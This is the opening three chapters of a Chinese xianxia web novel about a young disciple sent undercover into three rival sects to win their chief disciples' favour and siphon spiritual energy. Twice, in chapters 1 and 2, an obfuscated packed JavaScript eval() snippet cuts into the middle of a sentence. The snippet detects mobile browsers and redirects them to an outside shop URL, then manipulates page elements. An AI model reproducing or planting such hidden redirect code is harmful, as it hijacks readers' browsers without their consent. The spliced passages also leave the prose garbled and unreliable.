《我有三个好师兄》 1. 第一章 烟雾缭绕,山峦连绵。 飡松宗作为五百年前的修真大门派,现已没落成偏僻仙山的破落户,仙山灵气耗竭,灵植枯萎到发黄。 换句话说,湌松宗再不找来新的灵气,就快衰亡了。 现在有两个办法。 第一个办法去攻打兼并其他门派,抢夺他们的仙山,强占他们的灵气。 湌松宗掌门人:“……” 湌松宗太弱了。 此路不通。 以湌松宗现在的实力,很有可能人家大弟子的剑一亮出来,他们湌松宗八百余人、连人带仙山全都被砍平。 识时务者为俊杰。 湌松宗掌门人果断选择第二个办法——派卧底潜入其他大宗,去……偷灵气。 偷灵气这种事,如同偷人性命,一旦被其他大宗发现,会被执法斩立决,是极度危险的卧底任务。 事关湌松宗八百余性命,需得选择实力佳、为人机灵、知变通、懂低调的精英弟子出去执行任务。 此事诚为一个吃力不讨好的烫手山芋,在湌松宗上下被击鼓传花,甩锅来甩锅去,无人敢承应,最终在三个月后甩到了无情道这个支脉。 姜昀之:“……” 姜昀之就是那个被派出去的倒霉蛋。 姜昀之,字昭明,湌松宗无情道小师妹,年方十五,初笄之年,乃无情道‘盈寸长老’的关门弟子。 小小年纪已达金丹修为,结无情道灵府之丹,志虑忠纯,为人低调,是湌松宗不世出的少年天才。 无情道大师兄曾有此言:“小师妹若出身其他大门大宗,不受限于湌松宗薄弱无几的灵气,必能更有作为。” 姜昀之其人,遵循无情道“我鳞不盈寸,我羽不盈尺”的师训,为人低调,常秉谦卑之心。 师训出自韩愈《海水》,意思是我的鱼鳞不足一寸,我的鸟羽不足一尺,我自认为才能有限。 盈寸长老常道:“面对这个庞然若海的修仙界,我鳞不盈寸,我羽不盈尺,我所在的湌松宗更无法护我周全,所以更应该苟于乱世,咸鱼躺平,不到必要时刻千万别翻身,小心被拿去当下酒菜。能躺则躺,不能躺则躲,万事低调,别白费力气。” 姜昀之也想继续躺下去,结果被选中当卧底,同时去三个大门宗偷灵气。① 负雪宗,明烛宗,天南宗。 她也许在湌松宗这个小门派还算个少年天才,但若是真扎进大门大宗去,天才浩瀚如海,从未正儿八经被授课过的她,只有被那些天之骄子踩在脚底、搓圆搓扁的命。 掌门却很信任她,将湌松宗封印在二道山脚下两千年的法宝赠予她,说这是偷灵气的传世法宝,一生只认主一人,有此神器,必能保证源源不断的灵气传送回湌松宗。 很巧的是,神器只愿意认主姜昀之一人。 姜昀之:“……” 别人宗派的法宝要么就是淬炼剑骨的,要么是打磨道心的,他们湌松宗倒好,传世法宝专门用来偷灵气。 无法推拒掌门的委任,姜昀之连夜去找师父,求问该如何在身负重任的同时继续苟下去。 师父关门不出,只留下四个大字赠予她:努、力、活、着。 姜昀之:“……” - 湌松宗无情道小师妹姜昀之连夜起程,身负八百余同门弟子的厚望下山,开启她的多重卧底生涯。 远山连绵,云雾迢迢。 行走于石径间的姜昀之缓步下山,云雾散去,露出少女修长纤瘦的身影。 草木蔓发,春山可望。② 常有人来用这句话来形容姜昀之。 ‘春日来临,草木蔓延生长,无一处不苍翠,无一处不充满生机,春天的山景让人心静,让人惊艳而心之向往。’ 姜昀之恰如草木蔓发的澹澹春山,有其静谧幽美,也有其可爱生机。 一双黑白分明的眼发亮,干净漂亮到惊人,比松花半落的春水还要澄澈。 少女有若从丹青山水走出来的画中人,让人一见到她,就想把世上最好的诗词全堆砌在她身上。 行至山脚,姜昀之停下脚步,不知该往哪里走,是先去负雪宗,明烛宗,还是天南宗? 神识内响起神器的声音,语调轻快:“先去负雪宗。” “好。”姜昀之应声,遵循神器前辈的指引,朝东南方向走。 负雪宗路遥,本可御剑前去,可惜湌松宗无灵气可调用,只能先走去驿站,租借一匹马车。 现在这个世道灵气稀薄,一小罐灵气能卖三百银石。 租一辆附加千里符的马车,不过两百银石。 路上未遇到驿站,姜昀之步履平稳地继续前行。 路途中,神器前辈说起三大宗。 如今世道以三大宗为尊,三宗的仙山灵气丰厚无比,考核严苛,极难入宗,凡修士皆仰三宗威名。 三宗之下,有七个规模不小的门派,再往下,是无数尚能有灵气苟活的小宗小门,再往下……是灵气快耗竭的破落户,诸如湌松宗之辈。 三大宗中,负雪宗以实力为尊,不拘于正道,门派常有内斗厮杀,败者要么身死,要么被赶下山。 比起负雪宗其原名,更多人称之为负血宗。 负雪宗门下的首席弟子习修罗道,戮杀同门弟子无数,从未有人动摇其首席弟子之位,是位手沾鲜血,杀伐果断的高位之人。 明烛宗是典型的正道门派,以修心为首,以礼法为重,尽管如此,也遵循强者为王的原则,每月考核中成绩不佳、风评人品不佳的弟子俱会被劝退。 明烛宗门下的首席弟子修剑,在剑道这方面从未遇敌手,冷肃古板,最重法纪,令明烛宗弟子又敬又怕。 天南宗是三大宗中最有钱的门派,与俗世人间的皇家有所关联,是一个亦正亦邪的门派,不像明烛派那样以苍生为先,也不像负雪派那样不把人命当回事,唯一与两宗相通的地方,是严进宽出的考核制。 天南宗门下的首席弟子修符,曾是人间皇家的世子,因天赋异禀入仙门,在符篆之道上已登峰造极,身份尊贵。 负雪宗、明烛宗、天南宗,王不见王,三分天下,划疆而治各置官署,路远而无交集。 三宗所划的疆域连银石和文字都不通用,真正意义上的各自为王。 姜昀之所在的湌松宗被划分到明烛宗所在的行政疆域,地处边界的偏僻角落,可以说存在感趋近于无。 要在宗规如此森严、实力如此恐怖的三大宗门当卧底,是个人也知道这是趟有去无回的路。 故盈寸长老所留四字,字字真切:努、力、活、着。 姜昀之:“……” 该如何从这些宗派的仙山里收集灵气? 神器:“不是从仙山里收集灵气。仙山里的灵株,每一棵所产的灵气都是定量的,有专人督察,少一点灵气都会被发现。” 姜昀之:“那该如何收集灵气?” 神器笑道:“这就是我解封的意义所在了,我是专门用来蓄积灵气的神器。我不从虚空中获取灵气,而是从人身上收集灵气。” “从人身上?”姜昀之闻所未闻,“还能从人身上收集灵气?” 神器:“上古有神,三位一体,统一却独立,昼为一,午为二,夜为三。祂的三个分身分散在人间各自成人历劫,为天道之子。三位天道之子的身上汇聚天道气运和源源不断的灵气,只要派个人去靠近他们,攻略他们,从他们身上获得大量的灵气,再通过我传输,灵气便能从我的封印地传回湌松宗,拯救八百余弟子因灵气耗竭快干涸死亡的灵府。” 神器:“天道当初锻造我的初衷便是疏导天道之子过盛的灵气。他们已各自为人身,人的身体是无法承受如此庞然的灵气的,所以现在的他们必定日日在忍受非常人能忍受的痛苦,随时都有可能因灵气过载爆体而亡。我出世的使命是为他们引出灵气,而解封我的湌松宗又正好缺灵气,互利互惠。” 神器:“这三位天道之子,便是我刚才跟你提到的三位首席弟子,俱为各自领域的天之骄子。” 姜昀之似懂非懂:“我该如何从他们身上获得灵气?” 神器:“我的全名叫‘好感值转换灵气系统’,又名‘三大宗小师妹养成系统’,每当天道之子对你增加一点好感值,你便可以获得少量的灵气,当你达成‘天道之子认可的小师妹’这个成就后,即好感值达到六十后,每增加一点好感值,能收集到大量的灵气。” 神器前辈说的话有许多不属于他们这个世代的词语,姜昀之缓慢地理解着:“所以我此次卧底之旅,就是同时潜入三大宗,成为他们的师妹,还得同时获得他们的认可。” 神器:“是,我已经替你规划好了,上午你在负雪宗练修罗道,下午你在明烛宗练剑道,晚上你在天南宗修符道。对了,为了防止其他人识破你的身份,你不可用你灵府中的无情道金丹,得从头修炼,在三大宗重新炼出不同道门的金丹,结修罗丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697391|189029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,结剑丹,结符丹,保护好自己的身份。争取早日成为他们认可的师妹。” 姜昀之:“……” 她现在重新投胎还来得及么? 姜昀之旁敲侧击:“神器前辈,三大宗入宗的考核森严,我现在尚未入宗。” 神器:“这就是我选中你的原因,我知道三大宗难进,进去后训练后也辛苦,但为了接近天道之子引出他们的灵气,只能这样了。我选人的标准便是这样:灵魂要能被天道接纳,天赋潜质要强到未来足以和天道之子匹敌,长相要足够出众,性子要足够包容。” 诸多高帽迎面而来。 姜昀之:“……” 她还是很想回去重新投胎。 姜昀之沉默片刻,最终拱手应声:“昀之定当全心尽力,争取不辜负前辈的期望。” ‘包容’二字用在姜昀之身上,用对了。 姜昀之是一个能包容万种变化,也尊重变化的人。幼年拜于盈寸长老门下,盈寸长老教其避世姿态,她便广纳教诲、循规蹈矩地避世。 但其实心中有许多迷茫。 她之所以如此遵循师训,是因为她的人生没有目标,她找不出自己想做什么,也找不出自己喜欢什么。 别人怎么教,她便怎么做。 她待在湌松山十五年,从未下过山,从未见过其他地方。 不见天地大,何以修无情道? 如今,她会去历经三种不同的人生。 她想试试。 她想试试,不再避世地去修道、去历世,是否能找寻到人生的本心,是否能……吹尽狂沙始到金? - 行至驿站,姜昀之拿两百银石租下一辆马车。 马车驶出驿站,朝负雪宗方向颠簸前行。 马车内,姜昀之闭目养神,突闻灵府内神器作声:“不好!” 姜昀之:“前辈何出此言?” 神器:“我感应到另外一个天道神器已经到达负雪宗了。” 姜昀之:“还有另一个神器,也是用来收集灵气的?” 神器:“是啊,和我一样都是‘好感度转换灵气系统’,不过又不完全和我一样,它是‘龙傲天养成系统’。” 姜昀之:“可会对我们的行事造成影响?” “咳……”神器道,“多少有点儿,毕竟那位神器功能比我丰富点儿,资历比我老点儿……它比我早出生三、三……” 姜昀之:“三百年?” 神器:“三万年。” 姜昀之:“……” 三万年的差距,大概就是龙傲天神器本身自带金手指可以提高契主的修为,收集到的灵气也可以直接供契主化用,同时能不停地爆金币、爆新的金手指。 而师妹神器……没有任何提高修为的金手指,收集来的灵气不能为人所用,只能传回封印地,不能爆金币,也不会爆新的技能……纯靠契主自己潜心修炼,努力找门路。 龙傲天神器本身就是金手指,而师妹神器更像个……华丽的修炼鞭策器。 神器:“他们在作弊,龙傲天神器知道如果想要获得负雪宗天道之子的青睐,必须要有强劲的实力和魄力,竟然直接给它的契主喂大量的丹药,硬把修为提到金丹后期。呵,要不是我们得隐藏身份重新结丹,也是个金丹期。” 姜昀之:“前辈可有丹药供我服用?” 神器的声音低下去:“咳,这种东西……没有。” 姜昀之:“……” 神器:“现在是负雪宗选拔新弟子的时候,龙傲天神器既然今日抵达负雪宗,说明天道之子今日肯定会出现在选拔中。这种大机缘我们不可错过,不能被他人抢先一步,得立马去负雪宗,要不然就错过今日的选拔了!” 姜昀之:“山高路远,快马加鞭,也得明日才能到负雪宗。” 神器:“虽说明日也有选拔,但重要的不是选拔,而是在天道之子面前刷存在感。像首席弟子这样的存在,神出鬼没,平日里就算在一个门派里也很难遇到,虽不知他这次为什么有闲情来看新弟子选拔,但我们必须要抓紧机会刷好感,错过这次机会,说不定半年后才能见到一次。” 姜昀之站起身:“那这马车确实不能再坐了。” 她摘下腰间的钱袋子。 湌松宗穷,出来时只给了姜昀之五百银石的卧底经费,现在剩下三百银石,勉强能买一小罐品质不佳的灵气。 不佳就不佳,能御剑飞行就行了。 2. 第二章 钱袋子瘪了。 掌门给出的五百银石是姜昀之为期一年的卧底经费,于首日便寿终正寝。 御剑飞行快,转眼的功夫,长剑已飞至负雪宗行政疆域的上空,剑下云雾呼啸,云下市坊熙攘,官署竣整。 御剑途中,神器继续与姜昀之讲负雪宗的事,姜昀之一一应声。 神器见姜昀之并不因它比其他神器资历浅而变换态度,依旧从容有礼,便知她是个极有涵养的弟子。 神器不免想要努力证明自己:“我虽不像龙神器那般有诸多技能,却被天道点化过情理,精通人间万般情,知晓什么样的情感路线能最快地提高对方的好感度。你修的是无情道,我们两个倒是能互补。” 神器:“负雪宗的天道之子我已深入研究,深知什么样的小师妹人设最容易获得他的认可。当然,我塑的师妹人设,皆取自你本性,只不过将其中一面放大,并非要你扮演另外一个人。” 姜昀之:“愿闻其详。” 提起感情路线,神器一下滔滔不绝。 神器:“负雪宗的天道之子是个杀人如麻、心中充满戾气和仇恨的人,他的世界里只有弱肉强食的原则,所以龙神器理所当然地认为有实力的契主才能吸引他的注意,我却觉得恰恰相反——” 神器:“有实力?再有实力,现在能比他强吗?性格底色如此沉郁的天道之子,需要的反而是一个彻底相反的存在,一个不谙世事,纯净如雪的师妹,一个和他生存的黑暗格格不入的存在。” 神器:“一开始,他会觉得她天真到愚蠢,善良到可笑,是个需要被清楚的麻烦。他可能会在言语上讥讽她,行动上排斥她,试图让她看清这个世界的真实面目。但他的仇恨逻辑在她的身上彻底失效,无论他如何冷漠、可怖地对待她,师妹依旧坚守本心的纯粹,这种固执的善良成为黑暗中一道刺眼而温暖的光亮。” 神器:“渐渐地,他从想摧毁她变成怕失去她,师妹的存在本身就是在救赎他,她的一颦一笑皆能平息他内心的暴戾和仇恨。看似是师妹驯服了大魔头,实质是大魔头主动弯腰示弱,他们互相成就,成为彼此的不可或缺。他们的感情永远处在危险中,大魔头的过去,他的敌人,他自身容易失控的本性,都会让这段师兄妹情跌宕起伏。” 神器:“这是一场始于排斥、陷于好奇、终于守护的驯服。让利刃为自己套上刀鞘,让最极致的黑暗向最纯粹的光明俯首称臣。” 一说起自己最擅长的情感线,神器发狠了、忘情了,说完才发现姜昀之已久久没有应声。 神器:“你本性中有最纯粹的那一部分,很适合这条路。” 神器以为姜昀之不应声是因为不信任它提出的攻略路线,又开口:“其他事我不敢保证,但这条情感关系线,绝对是捷径中的捷径,是有天道数据支撑的,绝无出错的可能。” 姜昀之若有所思,御剑而下。 神器:“还没到负雪宗,怎么就下来了?”好不容易绑定的契主该不会要逃票吧? 姜昀之:“适才在思索前辈说的话,这才久久未出声。” 长剑停在一间成衣铺子前。 姜昀之:“既然要做一个纯澈若春雪的师妹,我觉得我该换一身行头。” - 雪山深处,冰峰如屏,白雾缭绕。 今日是负雪宗一年一度的弟子选拔,山门外人山人海,马车罗列,前来赴选的人排起一条长长的队伍,行列蜿蜒如游龙。 负雪宗以实力为尊,不拘于正道,门派内常有厮杀,如此风格吸引来的求道者基本也是心存杀戮之人,大多身负煞气,眉眼倨傲。 山门外乌泱泱一群人,森冷而喧闹。 姜昀之置身人群中,格格不入。 少女若一庭晴雪,误入孤注的东风。 旁人瞧见她,总能不自禁地想起《月华清》中的那句‘雪压庭春’。 一池澄澈的早春晴雪,干净得让人心怜,容貌惊人得让人不忍多看。 这样的人,又怎么会出现在负雪宗的弟子选拔上,不应该去以苍生为先的明烛宗么? 行列中有修士嗤笑:“哪儿来的兔子,莫不是迷路了,往狼窝里钻来了。” “我寻思着今年招的不是修罗道的弟子么,怎么还有这样的人来赴考,不怕死在选拔里?” “若是考核里需要组队,我可不希望被分到拖后腿的草包。” 姜昀之听到有人议论自己,只轻笑,不多言。 行伍中也有心善之人,为她的前路感到担忧:“若是天赋不好,灵根不佳,进了选拔定是会被人盯上的,杀人夺宝的惨案,年年都在发生。” 正说着,一群负雪宗的执事弟子快步走过去,身后跟着一位碧青色身影的求道者,执事弟子停下脚步,做出一个‘请’的姿势,引碧青色身影的少年踏入山门。 此举顿时激起千层浪。 “那人为什么不用排队,不用选拔,直接进了负雪宗的山门?” “你们刚才没看到吗?在磐石前,此子被测出百年难得一见的双天灵根,而且他才弱冠之年,在从未拜入任何山门的前提下,竟已抵达金丹后期的修为,天赋惊人,被宗门破格收录。” “双天灵根,不是天灵根,而是双天灵根?那他岂不是能同时修习两门不同的道法?就连负雪宗的首席弟子都只是天灵根,他的天赋比首席弟子还要强?” “想必他能直接成为内门弟子吧,真是好生让人艳羡,我们却得闯过重重试炼争一个成为外门弟子的名额。即便通过试炼,还得再经历半个月的苦修,撑得过去,才有机会入内门拜师。” “看他穿着打扮,出身想必也不简单,养尊处优的公子竟也能有金丹后期的修为,私下肯定吃过不少苦,这样的人能跳过选拔,直接进入山门,倒也不会让人觉得不服。” 神器冷哼一声:“他能吃过什么苦,都是拿金手指堆砌出来的,终究是空中楼阁。” 神器虽这般说,心中其实还是有些焦急的:“对方的进程比我们快太多,比我们早半个月进入内门,龙神器的作弊能力确实不容小觑。” 姜昀之开口劝慰:“弟子会竭力考入内门的。” 神器:“辛苦你了,先保命通过试炼,争得外门弟子的身份。” 神器左右探测:“奇怪,我从刚才就能感应到负雪宗天道之子的气息,却一直没见到他出现,他究竟身在何处?” 求考的行列间,也在议论这位天之骄子。 “负雪宗的弟子们真的好有威严,刚才仅仅是路过,步步生风,骇人非常。只是可惜,没瞧见负雪宗的首席弟子,早仰其威名,一直很想见一面。” 有人惊呼:“那样的人物,就连内门弟子都极难见上一面,更何况我们呢。” “况且见到首席弟子不一定是件好事,凡见过他的人,大多成为他的剑下亡魂。他嗜杀的名号并非虚传,曾屠戮过不少内门弟子,负雪宗甚至特地立下宗训,禁止他在山门内随意动手,唯有在他人主动挑战或挑衅时,他方能动手杀人。要不然按照他嗜杀的本性,满山的内门弟子估计都能被他杀光了。” 谈及此,众人皆噤若寒蝉。 远处,负责检验灵根的内门弟子高声道:“下一队的人过来,验灵根!” 验完灵根,方可进入山林进行考核试炼。 姜昀之所在的队伍闻声而动,走到验灵石前,一个一个地把手贴在磐石上,灵光乍现,会显现他们的灵根。 “水灵根,行,下一个。” “五灵根,资质太差,遣出去,下一个。” “木灵根,可,下一个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697392|189029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “双灵根……你什么修为?还没筑基?不行,遣出去,下一个。” “天灵根,极好,下一个。” “又是一个双灵根,你什么修为?已经筑基后期了?可,下一个。” “三灵根,天赋平庸,遣出去。” 被遣出去的杂灵根弟子面露尴尬,却仍厚着脸皮站在一旁观看选拔,见到越来越多的人被遣出来,其中不乏双灵根和单灵根的弟子,面上好看了些。 “他们就算被选上了又能如何,如若实力不佳,进入山林还不是死路一条。真不懂宗门为什么要如此在意灵根天赋,我自认比众人更能吃苦,就算灵根不及他们,潜心修炼的话,将来他们不一定能胜得过我。” 落选者言语悻悻,想看到更多人被遣出来,望向人群中最格格不入的姜昀之:“那个瓷美人什么时候被遣出来?瞧她这副模样,身上半点煞气都无,可见手上一个人命都没有,是负雪宗最讨厌的那种道貌岸然的正道之辈,怕是哪个世家里的大小姐,不谙世事,因一时好奇才来参加修罗道的选拔,这样的人,定然会被遣出来。” “不一定,若她出身背景很好的话,家中银钱丹药足够多,砸也能砸出一个金丹期,她若能达到金丹期,就算是杂灵根,也会被宗门破格录入。” 姜昀之:“……” 她想想自己出身背景很好的‘湌松宗’,再想想自己一日之内用完的五百银石,一时闭上了双眼。 磐石旁的内门弟子道:“下一个!” 姜昀之身前的求道者上前。 马上就到她了,姜昀之到底还只是个十五岁的少年人,未经太多世事,心中还是有些紧张的,只是面上不显。 小小年纪,能如此不显山不露水,已算是极为沉稳。 风吹过,地上树叶翻飞,姜昀之垂眼,瞧见地上的人影随风而晃,这一瞧,她乌黑的双眼定住。 她的身影被身后的一道影子覆住,那道影子高大到堪称可怖,几乎可以说是把她的身影遮罩得严丝合缝,不留一道空隙。 姜昀之身姿高挑修长,从前只有她垂眼看人的份,还是第一次看到有人比自己高出这么多,自己的身影堪堪到身后身影的肩。 她不禁往前挪动一步,移出高大影子的遮罩。 她往后看,瞧见一个极为高大修长的男人,单单站在那里就透露出一股血腥气极重的威压,宽大的衣袍勾勒出修劲而充满爆发力的轮廓,若蛰伏的苍龙。 手指骨节分明,正冷硬地搭在一柄缠绕不详黑气的长刀柄上。 再往上看,他的脸…… 他的脸上密密麻麻都是刀痕和暗色的纹路,密集到看不清他的五官到底长成什么样,深浅不一的伤口若网般在脸上铺展,让人不忍直视。 已经有不少人被这求道者的长相给吓得绕道走,一见便觉得全身的鸡皮疙瘩都起来了。 姜昀之也是第一次看到长成这样的人,不过骨子里的涵养让她只看了一眼便收回目光,拱手算是行礼,随后转身站回自己的位置。 高大修长的男人站在原地,不在意任何人的打量,暗红的双眼望向身前朝他行礼的少女,视若无睹地移开视线,并不作揖还礼,身上的血腥气浓郁到让周围的人都捂住口鼻,看他的目光就像是在看一个从血泊里爬出来的可怖异形。 磐石旁的内门弟子道:“下一个!” 到姜昀之了。 姜昀之往前走。 与此同时,神器突然喊道:“天道之子!你身后的那人就是负雪宗的天道之子!怪不得我一直都没看见他,他伪装成前来赴考的求道者了。不过,他的脸、他的脸……怎么变成这样了?” 姜昀之的脚步顿了顿,继续往前走。 行至磐石下,抬起指节分明的手,按在了磐石正中央。 3. 第三章 磐石旁的内门弟子问道:“修为?” 姜昀之:“初入筑基。” 内门弟子在簿子上写下‘修为平平’四字,仰头望向磐石,等待灵根检测结果。 在一旁等候的落选者幸灾乐祸:“瓷美人的修为果真只是个筑基,跟其他人没什么两样,看来要被刷下来了。” 磐石前漂浮的白光散去,缓缓露出受测者的灵根资质,显露三个字—— 天灵根。 “天灵根!”内门弟子扬眉,看向姜昀之的神情顿时变得不同,“极好,拿好你的木牌,待会儿和其他人一起入山林试炼。” 姜昀之接过木牌,对于天灵根的结果并无意外。 灵根在湌松宗里测过,她早知自己是天灵根。天灵根不算有多稀罕,大门派里,最不缺的就是天灵根。 她不意外,旁人却很意外。 适才议论瓷美人的那些落选者,神情变得尴尬。果真都是些信奉弱肉强食的人,姜昀之经过时,他们的面色中不再有任何不敬的讥讽,全都垂下眼,不作直视。 姜昀之站到队伍旁等候,待所有弟子测毕,会有执事弟子前来,牵引众人入山林试炼。 伪装成赴考弟子的天道之子,便是最后一个受测者。 姜昀之的目光落在那道高大修长的身影上。 神器:“契主你看,那便是天道之子、负雪宗的首席弟子章见伀,一个杀人如麻、心中充满仇恨和戾气的人,修为深不可测,修罗道登峰造极,已无敌手。” 神器:“他就是你接下来得去刷好感的人……不过,他的脸怎么变成这样了,就算要伪装成前来赴考的弟子,也没必要弄成这样吧。” 神器担心这副恐怖的模样会吓到姜昀之,安慰道:“别害怕,也许只是易容。” 姜昀之并非以貌取人的人:“无碍。” “你不害怕就好,”契主不怕,神器害怕,“哎哟,这脸真不能长盯,我密集恐惧症犯了。” 姜昀之:“……” 章见伀往前一步,站到磐石下。 其他赴考弟子从刚才开始就非常害怕这个高大至极的男人,他身上浓郁到刺鼻的血腥气让众人退避三舍。这该是杀了多少人,周身才会萦绕如此沉重的煞气。 众人都认为这样的人合该非常厉害,磐石的检验结果却出乎所有人的意料—— 杂灵根。 筑基修为。 “什么,才筑基修为?” 适才投来的恐惧目光变成了鄙夷的目光:“还以为有多厉害,不过一个杂灵根。” “他为什么没有被遣出去?内门弟子给了他木牌。” “长相如此可怖,实力又差,真不知道执事弟子为何要准许这样的人进入山林试炼,考核的标准到底是什么,我怎么看不明白。” “可千万别同我分到同一队,肯定会拖后腿。试炼中最容易丧命的,往往就是这样的杂鱼。” 章见伀接过内门弟子递来的木牌。 旁人没发现,内门弟子递出木牌的手正在不停地颤抖,木牌被抽走后,手的抖势还是无法停下,额头上满是冷汗。 大、大、大师兄…… 大师兄又来戮人了。 宗规言明大师兄不能在山门内随意动手,唯有他人主动挑战或挑衅时,他才能动手杀人。 内门弟子都认识章见伀,见到他全都绕着走,不吓得跪下就已经很了不起,更别提什么‘主动挑衅’。 但外面的这些赴考弟子并不认识他,总有不长眼的会来触霉头。 去年便是这样,前来赴考的弟子没认出他,真以为大师兄只是个筑基修为的杂灵根。山林试炼中,有人想要杀人夺宝,有人出言讽刺,不管挑衅的程度是重是轻,全都被大师兄的刀给腰斩,上百具尸体的尸块散乱地铺满山林,现已化为土下白骨。 其余人不知道自己鄙夷的人到底是何等的人物,依旧在议论纷纷。不过鄙夷归鄙夷,看到章见伀归队,众人还是有些忌惮于他身上的煞气,议论的声音变轻。 “只有造下无数杀孽的人才能拥有这么重的血腥气。奇怪,他的修为低,天资又平庸,身上的血腥气为什么会这般重?”有修士主动朝姜昀之搭话。 有不少人朝姜昀之看来,并非执意要知道这个问题的答案,而是想借此话题和天灵根搭上话,方便过会儿邀她一起组队。 章见伀暗红的双眼也朝她看来。 一时间这么多人看过来,姜昀之顿了顿,总不能如实点出他是章见伀:“可能……家中是开屠宰场的吧。” 修士们:“……” - 山门内。 内门弟子牵引碧青色衣衫的少年继续往里走:“我先给你找个住所,明日你便可以去拜师了。” 邹解经:“多谢诸位师兄关照。” 这便是那位龙傲天神器的契主了。 邹解经,年二十,长相清秀,神情倨傲中带几分谨慎,出身凡间富贵人家,从小运气就很好。龙傲天神器看中他的运气,选择绑定他。 龙神器若有所感,沉声道:“我好像闻到了边角料的味道。” 非常劣质的味道,闻起来很像是那个师神器。 当年天道制作完它后,还剩下一些边角料,后来天道用那些边角料又捏出一个和它类似的神器,不过是十足十的瑕疵品,不久后便被封印在不知道哪个犄角旮旯了。 邹解经闻言有些紧张:“还有一个神器?岂不是会乱了我们的计划?” 他可是要获得天道之子青睐、终将傲立人间的存在,如若有其他人来同他争抢天道的灵气,可就不妙了。 龙神器:“不足为惧,那个神器很烂,一点金手指都没有,能不能汲取灵气另说,就算汲取了灵气也无法给它的契主用,只能传回封印地。我刚才探测过了,它的契主不过是一个刚筑基的平庸弟子,还得留在外面进行试炼,落后我们太多。” 邹解经:“确实不值得放在眼中。” 现在最重要的是得见到天道之子,去刷好感。 邹解经朝内门弟子拱手:“敢问诸位师兄,入山门这么久,为何一直没见到大师兄。” “大师兄?你想见大师兄?”执事弟子听到这三个字,神情中捎上了几分恐惧。 想当年,他刚入门的时候,也因为久仰章见伀的威名想拜见大师兄,后来……他一听到这三个字就想逃命。 执事弟子:“大师兄行踪不定,就连我们这些入门已久的内门弟子也很难见到他。” 龙神器:“不对啊,我明明探测到他今天会在选拔弟子期间出现,我是不可能出错的,契主,你在山门内再多找找吧。” 邹解经被分到住所后,继续在山门内晃悠,试图偶遇大师兄。 山门外,众弟子已入山林。 雾气浓重,阴气阵阵,树叶扑朔,远处传来尖锐的鸟鸣声。 内门弟子:“两两结队,能活着走出山林的人,便算是通过试炼。试炼过程中可以杀人夺宝,无论是杀队内人还是杀队外人,只要你能活着走出来,就算你有本事。”① 此话既出,弟子们的神情变得警惕。 内门弟子:“进去吧。” “天快黑了,小心脚下路。” 执事弟子们离去,山林四周被阵法封锁,参与试炼的弟子们无法临阵脱逃,得抓紧时间组队,去抱天灵根的大腿。 姜昀之的身旁围来不少修士,委婉拒绝他们后,她走向人群中那道高大修长的身影。 章见伀身旁无人靠近,一是恐惧其可怖的面孔,二是嫌弃他平庸的资质。 姜昀之走近,主动打招呼:“道友,可否借一步说话。” 章见伀步履重而快,没分来半个眼神。 姜昀之身旁有修士道:“何必搭理这样的人,你一个天灵根,该不会想找杂灵根结伴吧?不如找我结伴,我是单灵根,而且修为也不差。” 姜昀之朝修士略微摇头,她快步跟上章见伀,望向他腰间的古刀:“这位道友,你这把刀很是不凡,我家中也有把这样的刀。” 章见伀只看前路,依旧没搭理身旁的少女。他的嘴角扬起一抹嗤笑,像是在无声地嘲讽,一个如此纤瘦的少女,怎么可能会拿得动他腰间重若千钧的刀。 姜昀之身旁又有修士插话道:“这刀有什么好的,不就是一把普通的刀吗,也就年份看上去久远点儿,你要是喜欢刀,我家中有许多前朝年份的刀,只要你跟我结队,我愿意以宝刀赠你。” 章见伀走得太快,姜昀之匆匆拒绝完修士后立即往前迈步,依旧走在他身旁:“道友莫要笑我,我并非凭空捏造,是真有一把这样的刀,可惜没带过来。我虽身形不如道友高大,却也是修道之人,知道什么是好刀,也挥得动好刀。” 姜昀之的声音低而轻:“这是把雪刀,长约三尺有余,宽二寸许,刀脊平直,刀身单刃,至前段寸余渐收,两面皆开锋,最宜劈砍,砍人砍物若砍雪般利落容易,方得名为‘雪刀’。” 神器有些惊讶,没想到契主竟然还懂这些。 姜昀之说完刀的细节,章见伀这才朝她看来,暗红的眼缓慢地上下打量她,似乎在好奇这般纤细白皙的少女,要如何才能拿得动如此沉重的雪刀。 “人不可貌相,我也是能拿得动雪刀的。”姜昀之抬眼,“说了这些,其实是想同道友结个队,执事弟子说过,只有结队才能正式开启山林间的试炼,我想和你一起结队,可以么?” 姜昀之说完,露出一个真诚的笑。 少女的笑有若松枝上的积雪,被透过云层的日光照得透亮,可谓‘云日明松雪’。 太过干净的笑意落在章见伀的眼底,与她身后的山林格格不入,与负雪宗更是格格不入。 是章见伀最讨厌的一种笑。 不谙世事,不知轻重。 让人不由地好奇如此纯澈似春雪的笑意,若见自身的胸膛被穿破,头颅被割下,会以何种姿态扭曲地变形,最后被流不尽的污血彻底染脏。 少女的脖颈白皙而纤长,雪刀轻轻一划,她的脖子便能断裂。 姜昀之见章见伀盯着自己的脖颈,不由出声:“道友?” 她又问:“你可愿和我一同结队?” 这回终于等到了回应。 “好。”章见伀的声音低沉而厚重,若深渊里缓缓流淌的潭水,带着明晰的压迫感。 他言简意赅:“交换木牌。” 两人交换木牌,便算是结队了。 一旁有几个修士候立,很是不解:“为什么要和这样的人结队?” 